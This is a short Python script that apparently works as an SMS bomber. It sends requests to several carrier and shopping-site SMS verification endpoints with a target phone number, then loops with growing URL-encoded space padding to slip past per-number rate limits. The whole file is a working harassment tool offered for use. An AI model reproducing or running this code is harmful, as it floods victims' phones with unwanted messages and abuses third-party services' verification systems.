import threading
import urllib3
req = urllib3.PoolManager()


def send(phonenumber,loopnumber):
    print(req.request("GET", "http://wap.10010.com/mobileService/tuiguang/sendMsg.htm?mobileNumber=%d"%phonenumber))
    print(req.request("GET", "http://mall.10010.com/mall-web/CheckMessage/captcha?phoneVal=%d"% phonenumber))
    print(req.request("GET", "https://uac.10010.com/portal/Service/SendMSG?callback=jQuery17205420930381136375_1546522467322&mobile=%d"%phonenumber))
    print(req.request("GET", "http://www.hb95079.com/login/LoginRegister.ashx?method=SmsSend&phone=%d"%phonenumber))
    a = "%20"
    for i in range(loopnumber):
        message = req.request("GET","https://m.client.10010.com/deitychop-web/getVerificationCode/%s%d"%(a,phonenumber))
        a+="%20"
    return "success"